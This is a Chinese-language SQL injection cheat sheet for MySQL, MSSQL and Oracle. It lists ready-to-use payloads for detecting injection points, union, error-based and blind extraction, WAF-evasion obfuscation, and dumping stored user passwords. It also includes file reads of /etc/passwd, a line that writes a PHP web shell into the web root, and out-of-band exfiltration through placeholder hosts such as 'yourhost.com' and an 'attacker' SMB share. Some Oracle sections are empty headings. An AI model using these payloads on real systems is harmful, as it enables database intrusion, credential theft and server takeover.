检测注入
不管什么数据库注入,检测是否有注入点是第一步,而检测的方法大同小异。
1、闭合SQL拼接语句
要想进行下一步注入,首先需要闭合SQL语句,如何知道闭合符号是什么呢?可通过在参数后面加入单引号或双引号使其整条SQL拼接语句失败,从而可从数据库报错信息得知,若没有数据库报错信息,则只能Fuzz了。
$sql="SELECT username,passwd FROM users WHERE id={$id}";
$sql="SELECT username,passwd FROM users WHERE id='{$id}'";
$sql="SELECT username,passwd FROM users WHERE id=({$id})";
......
2、检测注入点
可通过逻辑测试、算术运算等方式检测是否存在注入点:
对于数值型参数来说,可进行算术运算、逻辑运算或函数
id=3-1 //返回id=2的结果,说明进行了算术运算
id=1/1
id=1/0
id=1 and 1=1 //永真
id=1 and 1=0 //永假
id=abs(-2) //返回id=2的结果
对于字符串型参数来说,可进行算术和逻辑运算
id=1' '1' //不同数据库,字符串连接符不同,MySQL为空格、oracle为||、sqlserver为+
id=3'-'1' //字符串的相减,显示转换为数字进行运算(MySQL数据库)
id=1' and '1'='1'
id=1' and '1'='0'
当然,以上是针对布尔型盲注和非盲注,如果网页不返回信息无法进行信息判断,则只能进行时间盲注测试。
id=1' if(2>1,sleep(5),0)
MySQL
数据库标识
可通过MySQL独有的标识进行数据库判断。
描述 | 语句 |
---|---|
时间延迟函数 | id=1' and sleep(5)=1-- 和BENCHMARK()函数 |
# | id=1'%23 //#注释符为MySQL独有 |
字符串连接 | id=' 'mysql'-- //空格为MySQL字符串连接符 |
错误消息 | id=' //通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。 |
版本测试 | id=3/*!40094 -1*/; //若返回id=2结果,则运行了注释符里的-1 |
基本知识
描述 | 语句 |
---|---|
数据库版本信息 | version()、@@version |
用户信息 | user()、current_user()、system_user()、session_user() |
当前数据库 | database()、schema() |
安装路径 | @@basedir |
数据库文件路径 | @@datadir |
数据库开放端口 | @@port |
主机名 | @@hostname |
操作系统平台类型 | @@version_compile_os |
数据库用户及密码 | SELECT User,Password FROM mysql.user |
MAC地址 | uuid():最后12位数字由接口MAC地址组成 |
枚举列数/字段数 | order by 2、group by 2、into @ ,@、and (SELECT * FROM table_name)=2 |
条件判断 | IF(exp,v1,v2) |
联合查询注入
基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。 仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。
id=1' UNION SELECT VERSION(),NULL--
获取数据库
//通过limit控制符返回指定行记录
SELECT schema_name FROM information_schema.schemata limit 2,1;
//通过group_concat()函数一次得到所有记录
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;
获取表
SELECT table_name FROM information_schema.tables WHERE table_schema='DB_name' limit 1,1;
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='DB_name';
获取字段
SELECT column_name FROM information_schema.columns WHERE table_schema='DB_name' AND table_name='table_name' limit 2,1;
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='DB_name' AND table_name='table_name';
报错注入
当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。
描述 | 语句 |
---|---|
XML解析错误 | SELECT extractvalue(1,concat(0x3a,(select version()))); |
XML解析错误 | SELECT updatexml(1,concat(0x7e,(select user()),0x7e),1) |
floor | SELECT concat(version(),floor(rand(0)*2)) |
id=1' AND SELECT extractvalue(1,concat(0x3a,(select version())))--
布尔盲注
布尔盲注是指根据返回的HTTP状态代码或HTML响应内容、内容长度等进行判断的查询,分真1和假0两种状态。
//判断数据库版本
SELECT 1 AND (SELECT MID(version(),1,1))='5'
//采用二分搜索法
SELECT '1' AND ORD((SELECT MID(current_user(),1,1)))>64
//采用按位比较法
SELECT '1' AND ORD((SELECT MID(current_user(),1,1))) & 16
//正则表达式法
SELECT '1' AND ((SELECT current_user()) REGEXP '^roo')
时间盲注
当无法从返回的信息中获取真假状态,那么可通过构造时间延迟从网页返回时间判断。
描述 | 语句 |
---|---|
延迟若干时间 | SELECT '1' AND IF(2>1,sleep(5),0) |
运行指定表达式次数 | SELECT '1' AND IF(2>1,BENCHMARK(9999999,sha1('ddddd')),0) |
SELECT '1' AND IF((SELECT ORD(MID((user()),1,1)))>64,BENCHMARK(9999999,sha1('ddddd')),1)
SELECT '1' AND IF((SELECT ORD(MID((user()),1,1)))>64,SLEEP(5),1)
混淆查询
混淆查询帮助绕过Web应用程序防火墙(WAF)和入侵检测/预防系统(IDS / IPS)。以下是基本查询混淆的示例,它们在应用于某些注入之前可能需要进行修改。
描述 | 语句 |
---|---|
ASCII>字符 | SELECT char(97,100,109,105,110) |
字符> ASCII | SELECT ascii('A') |
十六进制 | SELECT 0x4A414B45 |
Hex> Int | SELECT 0x20+0x40 |
空格绕过 | SELECT/**/version()、UNION(SELECT(passwd)FROM(users)WHERE(id=1)) |
关键字符绕过 | 大小写、双字符:UNIunionON、双重URL编码、SELECT /*!version()*/ |
引号绕过 | SELECT CONCAT(CHAR(39),CHAR(65),CHAR(75),CHAR(39)) |
比较符绕过 | in、between、strcmp、greatest |
读写文件
需要特权用户及secure-file-priv的值为空(目录权限无限制)。
//读文件
SELECT LOAD_FILE('/etc/passwd');
//写文件
SELECT 'eval($_POST[\'a\']); ?>' INTO OUTFILE '/var/www/shell.php'
带外通信
描述 | 语句 |
---|---|
DNS 请求 | SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW), 'yourhost.com\\')) |
SMB 分享 | SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt' |
HTTP 服务器 | SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt' |
MSSQL
数据库标识
可通MSSQL独有的标识进行数据库判断。
描述 | 语句 |
---|---|
错误消息 | id=' //通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。 |
WAITFOR 函数 | id=';WAITFOR DELAY '00:00:5'; -- |
基本知识
描述 | 语句 |
---|---|
数据库版本信息 | @@version、@@servername 服务器主机名、host_name() 服务器主机名 |
用户信息 | SUSER_SNAME()、SELECT user、SELECT system_user、SELECT user_name() |
所有数据库 | SELECT name from master..sysdatabases、SELECT name from sys.databases、 |
当前数据库 | SELECT db_name() |
当前数据库所有表 | SELECT table_name FROM INFORMATION_SCHEMA.TABLES |
当前数据库所有字段 | SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS |
数据库文件路径 | SELECT physical_name FROM sys.database_files |
获取指定行记录集(limit) | SELECT TOP 1 name FROM sys.databases WHERE name NOT IN (SELECT TOP 1 name FROM sys.databases) |
联合查询注入
基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。 仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。
id=1' UNION SELECT @@version,NULL--
获取数据库
SELECT TOP 1 name FROM sys.databases WHERE name NOT IN (SELECT TOP 1 name FROM sys.databases);
当前数据库中获取表
SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN (SELECT TOP 1 table_name FROM information_schema.tables);
当前数据库中获取字段
SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN (SELECT TOP 1 column_name FROM information_schema.columns);
报错注入
当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。
描述 | 语句 |
---|---|
显式转换 | SELECT convert(int,(SELECT @@version)) SELECT cast((SELECT @@version) as int) |
隐式转换 | SELECT 1/@@version |
布尔盲注
布尔盲注是指根据返回的HTTP状态代码或HTML响应内容、内容长度等进行判断的查询,分真1和假0两种状态。
//采用二分搜索法
SELECT '1' AND ASCII((SELECT SUBSTRING(db_name(),1,1)))>64
//采用按位比较法
SELECT '1' AND ASCII((SELECT SUBSTRING(db_name(),1,1))) & 16
时间盲注
当无法从返回的信息中获取真假状态,那么可通过构造时间延迟从网页返回时间判断。
描述 | 语句 |
---|---|
延迟若干时间 | SELECT WAITFOR DELAY '00:00:5' |
Oracle
数据库标识
可通Oracle独有的标识进行数据库判断。
描述 | 语句 |
---|---|
字符串连接符 | id=1' || '1-- |
DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间) 函数 |
基本知识
联合查询注入
基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。 仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。
id=1' UNION SELECT user,NULL FROM dual--
获取表
获取列
报错注入
当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。
描述 | 语句 |
---|---|
无效的HTTP请求 | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
无效的XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
无效的XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
无效的XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
布尔盲注
布尔盲注是指根据返回的HTTP状态代码或HTML响应内容、内容长度等进行判断的查询,分真1和假0两种状态。
时间盲注
当无法从返回的信息中获取真假状态,那么可通过构造时间延迟从网页返回时间判断。
可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间。